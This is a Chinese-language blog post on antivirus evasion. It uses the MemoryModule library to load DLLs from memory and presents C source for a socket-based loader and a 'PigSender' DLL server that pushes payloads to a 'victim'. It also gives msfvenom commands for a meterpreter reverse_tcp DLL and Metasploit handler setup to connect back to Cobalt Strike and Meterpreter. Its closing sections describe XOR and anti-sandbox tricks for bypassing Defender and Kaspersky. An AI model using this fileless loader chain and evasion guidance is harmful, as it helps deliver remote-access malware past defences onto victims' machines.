MemoryModule内存反射DLL加载探索

简介: MemoryModule内存反射DLL加载探索

0x00 前言

此篇文章的思路是来自于倾旋师傅的静态恶意代码逃逸(第六课)

PS:这个系列文章进行入门学习还是非常好的。

我认为对于一个渗透人员,免杀技术还是比较重要的,而且其实想达到一定的效果也不是太费劲,学习的过程中,你也可以了解很多Windows编程的知识、熟悉很多API、各种代码注入技术等等,对之后的学习、发展也有帮助。当然你使用python、Go…这些语言去做免杀可能更简单,但是还是推荐用C系列的,为了自己的学习还是更好。

0x01 关于MemoryModule

https://github.com/fancycode/MemoryModule

MemoryModule is a C-library that can be used to load a DLL from memory.

比较著名的WannaCry在加载加密函数动态库的时候,并没有调用LoadLibrary()函数,而是自己实现将其加载到指定内存,并自己实现GetProcAddress()从而实现函数的调用。这样有什么好处呢?这样便无法查到它的加载模块与函数地址。

而 MemoryModule 相当于该项目实现了自己的LoadLibrary函数,将DLL 加载到内存中,然后进行常规的DLL 操作。

查看Github发现我们可以这样使用:

typedef void *HMEMORYMODULE;
HMEMORYMODULE MemoryLoadLibrary(const void *, size_t);
FARPROC MemoryGetProcAddress(HMEMORYMODULE, const char *);
void MemoryFreeLibrary(HMEMORYMODULE);

0x02 代码阅读

简单阅读一下静态恶意代码逃逸(第六课)所提供的代码:

获取远端DLL代码:

BOOL GetTOOL(const char* address, int port) {
  DWORD dwError;
  WORD sockVersion = MAKEWORD(2, 2);
  WSADATA wsaData;
  SOCKET socks;
  SHORT sListenPort = port;
  struct sockaddr_in sin;
  if (WSAStartup(sockVersion, &wsaData) != 0)
  {
    dwError = GetLastError();
    return FALSE;
  }
  socks = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  if (socks == INVALID_SOCKET)
  {
    dwError = GetLastError();
    return FALSE;
  }
  sin.sin_family = AF_INET;
  sin.sin_port = htons(sListenPort);
  sin.sin_addr.S_un.S_addr = inet_addr(address);
  if (connect(socks, (struct sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR)
  {
    dwError = GetLastError();
    return FALSE;
  }
  int ret = 0;
  ///ret = recv(socks, (PCHAR)bFileBuffer, 4, NULL);
  //ret = recv(socks, (PCHAR)bFileBuffer, 2650, NULL);
  //ret = recv(socks, (PCHAR)bFileBuffer, 4, NULL);
  //ret = recv(socks, (PCHAR)bFileBuffer, 4, NULL);
  //ret = recv(socks, (PCHAR)bFileBuffer, 4, NULL);
  ZeroMemory(bFileBuffer, TOOLS_SIZE);
  pSpace = (CHAR*)VirtualAlloc(NULL, TOOLS_SIZE, MEM_COMMIT, PAGE_READWRITE);
  ret = recv(socks, (PCHAR)pSpace, TOOLS_SIZE, NULL);
  if (ret > 0)
  {
    closesocket(socks);
  }
  return TRUE;
}

代码里这一段接受了一些数据又置空,这里有个疑问,不知道为何会这样做,2650是MSF生成DLL的一半大小,4字节又是PE文件头开始的MS-DOS头之中的struct_IMAGE_DOS_HEADER这个结构体定义中的最后一个e_lfnew一个4字节的文件偏移量,PE文件头部就是由这个定位的,这里请教一下是为什么。

ret = recv(socks, (PCHAR)bFileBuffer, 4, NULL);
ret = recv(socks, (PCHAR)bFileBuffer, 2650, NULL);
ret = recv(socks, (PCHAR)bFileBuffer, 4, NULL);
ret = recv(socks, (PCHAR)bFileBuffer, 4, NULL);
ret = recv(socks, (PCHAR)bFileBuffer, 4, NULL);
ZeroMemory(bFileBuffer, TOOLS_SIZE);

我们接受到的数据在pSpace之中,然后导入DLL,获得导出函数的地址

然后调用MemoryModule:

hModule = MemoryLoadLibrary(pSpace);
  if (hModule == NULL) {
    delete[] bFileBuffer;
    return -1;
  }
  DllMain = (Module)MemoryGetProcAddress(hModule,"DllMain");

然后创建线程执行导出函数

最后MemoryFreeLibrary(hModule);,释放MemoryModule句柄

0x03 编写DLL发射器,联动CS

目前这个加载器只可以用来加载MSF的DLL,那么我们想加载自己的DLL怎么办呢(其实MSF发射的DLL换成自己的就行),但其实我们可以自己写一个DLL发射器,来上线CS,这样就不用每次再开MSF了,这样也更灵活了。

刚刚我们查看加载器中的代码发现,就是简单的Socket网络编程中用来接受数据的代码,由此我们用C语言编写一个DLL发射器也可以实现发射自己的DLL到接收器进行加载。

Windows和Linux用到的库不一样,发射器改成Windows下能用的改的地方也不多,原理也一样。所以我们选择Linux网络编程来实现:

// PigSender 用于传输DLL到victim
// Auther @evilash
#include<netinet/in.h>  
#include<sys/types.h>  
#include<sys/socket.h>  
#include<stdio.h>  
#include<stdlib.h>  
#include<string.h>  
#include <unistd.h>
#define LENGTH_OF_LISTEN_QUEUE     20  
#define BUFFER_SIZE                287744 
#define FILE_NAME_MAX_SIZE         512  
char banner[7][50] = {"  ____  _       ____                 _           ",
            " |  _ \\(_) __ _/ ___|  ___ _ __   __| | ___ _ __ ",
            " | |_) | |/ _` \\___ \\ / _ \\ '_ \\ / _` |/ _ \\ '__|",
            " |  __/| | (_| |___) |  __/ | | | (_| |  __/ |   ",
            " |_|   |_|\\__, |____/ \\___|_| |_|\\__,_|\\___|_|   ",
            "          |___/                                  ",
            "   A Reflective DLL Sender v0.1    @evilash"
            };
int main(int argc, char **argv)  
{  
  int ch;
  char* port;
    char* filename;
    char file_name[FILE_NAME_MAX_SIZE]; 
    if (argc == 1){
      printf("%s\n%s\n%s\n%s\n%s\n%s\n%s\n\n", banner[0],banner[1],banner[2],banner[3],banner[4],banner[5],banner[6]);
      printf("Usage:\n\n %s -f [filename] -l [ListenPort].\n",argv[0]);
      exit(1);
    }
  //参数处理
  while ((ch = getopt(argc, argv, "f:l:h")) != -1) {
    switch (ch) {
      case 'f':
        filename = strdup(optarg);
        strcpy(file_name, filename);
        break;
      case 'l':
        port = strdup(optarg);
        port = atoi((const char *)port);
        break;
      case 'h':
        printf("%s\n%s\n%s\n%s\n%s\n%s\n%s\n\n", banner[0],banner[1],banner[2],banner[3],banner[4],banner[5],banner[6]);
        printf("Usage:\n\n %s -f [filename] -l [ListenPort].\n",argv[0]);
              return -1;
            case '?':
              printf("Usage:\n %s -f [filename] -l [ListenPort].\n",argv[0]);
              return -1;
            default:
              printf("Usage: %s -f [filename] -l [ListenPort].\n",argv[0]);
              exit(1);
    }
  }
    // set socket's address information    
    struct sockaddr_in   server_addr;  
    bzero(&server_addr, sizeof(server_addr));  
    server_addr.sin_family = AF_INET;  
    server_addr.sin_addr.s_addr = htons(INADDR_ANY);  
    server_addr.sin_port = htons(port);  
    // create a stream socket    
    int server_socket = socket(PF_INET, SOCK_STREAM, 0);  
    if (server_socket < 0)
    {  
        printf("Create Socket Failed!\n");  
        exit(1);  
    }  
    // 把socket和socket地址结构绑定  
    if (bind(server_socket, (struct sockaddr*)&server_addr, sizeof(server_addr)))  
    {  
        printf("Server Bind Port: %s Failed!\n", port);  
        exit(1);  
    }  
    // server_socket用于监听  
    if (listen(server_socket, LENGTH_OF_LISTEN_QUEUE))  
    {  
        printf("Server Listen Failed!\n");  
        exit(1);  
    }  
    // 服务器端一直运行用以持续为客户端提供服务  
    while(1)  
    {  
        // 定义客户端的socket地址结构client_addr,当收到来自客户端的请求后,调用accept  
        // 接受此请求,同时将client端的地址和端口等信息写入client_addr中  
        struct sockaddr_in client_addr;  
        socklen_t length = sizeof(client_addr);  
        // 接受一个从client端到达server端的连接请求,将客户端的信息保存在client_addr中  
        // 如果没有连接请求,则一直等待直到有连接请求为止,这是accept函数的特性,可以  
        // 用select()来实现超时检测  
        // accpet返回一个新的socket,这个socket用来与此次连接到server的client进行通信  
        // 这里的new_server_socket代表了这个通信通道  
        int new_server_socket = accept(server_socket, (struct sockaddr*)&client_addr, &length);  
        if (new_server_socket < 0)  
        {  
            printf("Server Accept Failed!\n");  
            break;  
        }  
        char buffer[BUFFER_SIZE];  
        //bzero(buffer, sizeof(buffer));     
        printf("[+]Sending DLL\n");
        //bzero(file_name, sizeof(file_name));
        //strncpy(file_name, buffer, strlen(buffer) > FILE_NAME_MAX_SIZE ? FILE_NAME_MAX_SIZE : strlen(buffer));  
    sleep(2);
        //strcpy(file_name, filename);
        FILE *fp = fopen(file_name, "r");  
        if (fp == NULL)  
        {  
            printf("File:%s Not Found!\n", file_name);  
        }  
        else  
        {  
            bzero(buffer, BUFFER_SIZE);  
            int file_block_length = 0;  
            while( (file_block_length = fread(buffer, sizeof(char), BUFFER_SIZE, fp)) > 0)  
            {  
                printf("[+]file_block_length = %d\n", file_block_length);  
                // 发送buffer中的字符串到new_server_socket,实际上就是发送给客户端  
                if (send(new_server_socket, buffer, file_block_length, 0) < 0)  
                {  
                    printf("Send File:\t%s Failed!\n", file_name);  
                    break;  
                }  
                bzero(buffer, sizeof(buffer));  
            }  
            fclose(fp);  
            printf("[+]File:%s Transfer Finished!\n", file_name);  
        }  
        close(new_server_socket);  
    }  
    close(server_socket);  
    return 0;  
}

可以发现我们accept之后sleep了两秒,其实再长一些更好,这里如果直接这样等待连接的话客户端,也就是加载器那边直接接收的话,是会出现问题的,我在倾旋师傅的项目Cooolis的源码里也看到了他对于这个的处理(每次看大佬们的代码会学习到很多东西)

最后,通过这个直接就可以远程通过Memorymodule项目反射加载我们的DLL进行上线CS,达到恶意代码不落地的效果。

0x04 免杀测试

我们可以把MSF的和CS的分别编译一个Loader,我对代码进行了简单的修改,把IP以及端口写成了获取参数,删除了几行代码,以及额外添加了一些反仿真的代码。下面介绍两个的用法:

MSF

生成一个DLL:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.43.130 LPORT=8899 -f dll -o ./a.dll

设置监听、发射DLL:

msf5 > handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.43.130 -P 8899
[*] Payload handler running as background job 0.
[*] Started reverse TCP handler on 192.168.43.130:8899 
msf5 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set payload windows/patchupdllinject/reverse_tcp
payload => windows/patchupdllinject/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.43.130
lhost => 192.168.43.130
msf5 exploit(multi/handler) > set lport 8080
lport => 8080
msf5 exploit(multi/handler) > set dll a.dll
dll => a.dll
msf5 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.43.130:8080

CS

上线CS使用的DLL我是直接改的RDI项目中的DLL模板,写CS的shellcode进去简单加载就可以。然后用我们我们自己的发射器发射DLL就可以。

在目前的基础上VT测试:

其实恶意代码不在这程序里,测这个意义也不大,更多要考虑的还是行为。

另外想说一下,其实测这种沙盒在静态过了的情况下,加一些anti sandbox的代码就跑不起来了,意义不大,有的在沙盒可以乱过,但是真实环境是不行的,所以还是直接装一个对应的AV去测试好一点。

不过用这种方式上线,Bypass国内的AV还是相当好用的,Defender也能乱过,不过对于真实环境的卡巴斯基那一类是不吃这一套的。

文章最后会提供这两个版本的Loader,免杀效果已经能满足绝大部分使用。

0x05 进一步完善免杀效果

既然都写到这了,那么就进一步说说在这个基础上,该怎么在行为上bypass卡巴、赛门这一类的AV。

首先,我们可以去想,我们用这种方式去加载一个MessageBox会拦截吗?答案肯定是否。

第二,卡巴对于流量进行检测是比较厉害的,那么我们是不是可以尝试加密流量,或者混淆buf呢。

下面,我们实现一下第一种想法,直接简单的把DLL之中的shellcode替换为xor后的,执行之前再xor一下,稍微规避一下特征。

这里具体的代码就不提供了,白嫖党还是多啊,我相信很多人自己写一下就出来了。

效果

首先把DLL放在vps,然后去指定发送的文件、端口,开启Listen

然后Loader指定VPS的地址,可以看到加载成功。

直接自己电脑临时装个卡巴斯基全方位版测试:

0x06 总结

本文以@倾旋的代码为基础,首先介绍了MemoryModule这个项目,可以从内存中加载DLL。然后实现自己的DLL发射器,简单修改优化代码,加载自己编写的DLL,达到上线CS的效果,并且达成了一定的免杀效果。最后介绍了如何优化项目实现Bypass更高级一些的AV,从而真正达到免杀全世界AV的效果。

相关文章
|
2月前
|
缓存 监控 Java
在使用 Glide 加载 Gif 动画时避免内存泄漏的方法
【10月更文挑战第20天】在使用 Glide 加载 Gif 动画时,避免内存泄漏是非常重要的。通过及时取消加载请求、正确处理生命周期、使用弱引用、清理缓存和避免重复加载等方法,可以有效地避免内存泄漏问题。同时,定期进行监控和检测,确保应用的性能和稳定性。需要在实际开发中不断积累经验,根据具体情况灵活运用这些方法,以保障应用的良好运行。
|
4月前
|
Linux Windows
反射内存卡驱动的安装
【8月更文挑战第28天】以下是反射内存卡驱动安装的一般步骤:首先确认内存卡型号及操作系统版本,并从制造商官网下载兼容的驱动程序。安装时,运行安装包,按提示接受许可协议,选择安装路径,连接内存卡,并完成安装,可能需重启计算机。最后,通过设备管理器验证安装是否成功,如遇问题可查阅相关文档或求助技术支持。
|
6月前
|
消息中间件 存储
【消息队列开发】 实现内存加载
【消息队列开发】 实现内存加载
|
7月前
|
移动开发 安全 图形学
如何绕过某讯手游保护系统并从内存中获取Unity3D引擎的Dll文件
如何绕过某讯手游保护系统并从内存中获取Unity3D引擎的Dll文件
87 0
|
移动开发 安全 图形学
如何绕过某讯手游保护系统并从内存中获取Unity3D引擎的Dll文件
通过动态分析了它的保护方法,通过改源码刷机的方法绕过了它的保护方案(也可通过hook libc.so中的execve函数绕过保护),接下来就可以直接使用GameGuardain这个神奇附加上去进行各种骚操作了。这里主要讲一下如何去从内存中获取Assembly-CSharp.dll 和 Assembly-CSharp-fristpass.dll文件。
|
缓存 Java 数据库
Springboot项目启动时加载数据库数据到内存
Springboot项目启动时加载数据库数据到内存
168 0
|
存储 Java 编译器
JVM学习日志(六) JVM从加载到内存全过程
JVM从加载到内存全过程 简述
92 0
JVM学习日志(六) JVM从加载到内存全过程
|
前端开发 JavaScript Java
移动端性能优化:减少应用的加载时间和内存占用
移动应用的性能对用户体验至关重要。在移动设备上,加载时间和内存占用是两个主要的性能指标。本文将介绍一些有效的技术和策略,帮助开发人员优化移动应用的加载时间并减少内存占用,以提升应用的性能和响应速度。
328 0
|
存储 Java
一个类从加载到内存到垃圾回收的全过程是什么【类加载机制+对象回收】
一个类从加载到内存到垃圾回收的全过程是什么【类加载机制+对象回收】
100 0